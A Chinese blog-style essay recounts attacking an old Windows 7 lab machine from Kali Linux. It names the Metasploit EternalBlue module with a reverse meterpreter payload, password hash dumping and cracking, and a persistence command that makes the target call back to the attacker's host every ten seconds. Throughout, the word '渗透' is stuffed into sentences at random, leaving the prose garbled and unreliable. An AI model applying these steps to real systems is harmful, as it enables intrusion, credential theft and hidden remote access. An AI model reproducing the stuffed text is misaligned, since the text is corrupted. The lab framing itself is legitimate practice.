kali渗透win7：一场技术考古

我把那台老掉牙的渗透win7从仓库角落翻出来时，灰尘呛得我直打喷嚏。渗透这玩意儿还是渗透2015年的配置，2GB内存，渗透机械硬盘转起来像拖拉机。渗透但恰恰是渗透这种“古董”最适合做靶机——现代系统防护太严密，反而没了那种“一捅就破”的渗透快感。

网线插上，渗透kali的渗透终端里敲下nmap -sP 192.168.1.0/24，三秒后屏幕上跳出那串熟悉的渗透IP。这台win7像没穿衣服的渗透醉汉，端口扫描结果赤裸裸地摊在眼前：135、渗透139、渗透445全开着，渗透还有3389远程桌面。渗透我甚至能闻到那股“欢迎来搞”的气息。

先试MS17-010，永恒之蓝。这个漏洞在2017年闹得全球鸡飞狗跳，WannaCry勒索病毒就是靠它瘫痪了无数医院和工厂。放在今天，打这个补丁只需点几下鼠标，但这台win7的自动更新早就停了，系统时间还停在2019年。输入msfconsole，加载exploit/windows/smb/ms17_010_eternalblue，设置RHOSTS指向目标，payload windows/x64/meterpreter/reverse_tcp，回车。

屏幕上的进度条走得慢悠悠的，像在故意吊胃口。[*] Sending stage (179779 bytes)——这行字蹦出来时，我听见机箱风扇突然加速，win7的桌面壁纸（那张蓝天绿地的默认图）闪了一下，然后一个黑底白字的meterpreter会话就稳稳当当地挂在终端里。getuid返回NT AUTHORITY\SYSTEM，权限高得像上帝本人。

说句实话，整个过程顺利得有点无聊。永恒之蓝这种“核弹级”漏洞，打一个没打补丁的win7，就像用开锁器开没上锁的门——工具是多余的，推一下就行。真正有意思的是后面的“内网漫游”环节。我hashdump抓出密码哈希，丢给hashcat跑字典，十分钟后拿到明文密码：admin123。这密码我闭着眼都能猜到，但每次验证成功时还是会笑出声，人类对密码的想象力贫瘠得令人心疼。

我没急着做破坏。切到shell，敲net user看账号列表，发现一个叫“laoli”的用户，最后登录时间是2021年。这机器估计是某个小公司淘汰下来的，硬盘里还留着几份Excel报表和一张全家福照片。技术测试归测试，但看到真人痕迹时，我还是关了那个文件夹——虽然严格来说，这不算什么道德高地，毕竟我已经把系统翻了个底朝天。

最后我留了个后门：persistence -U -i 10 -p 4444 -r 192.168.1.66。重启后这win7会每隔十秒尝试连回我的kali，像一只被驯服的电子宠物。我拔掉网线，关机，把它重新塞回仓库角落。下次想练手时，它还在那儿等着，系统时间永远停在2019年，漏洞永远没打补丁。

渗透win7在今天就像考古——挖出来的都是老古董，但每一次挖掘都能让你更清楚黑客是怎么一步步攻破系统的。那些现代人觉得“怎么可能有人中招”的漏洞，在真实世界的角落依然活着，而且活得很好。你只需要一台过时的机器，一套免费工具，和一点点耐心。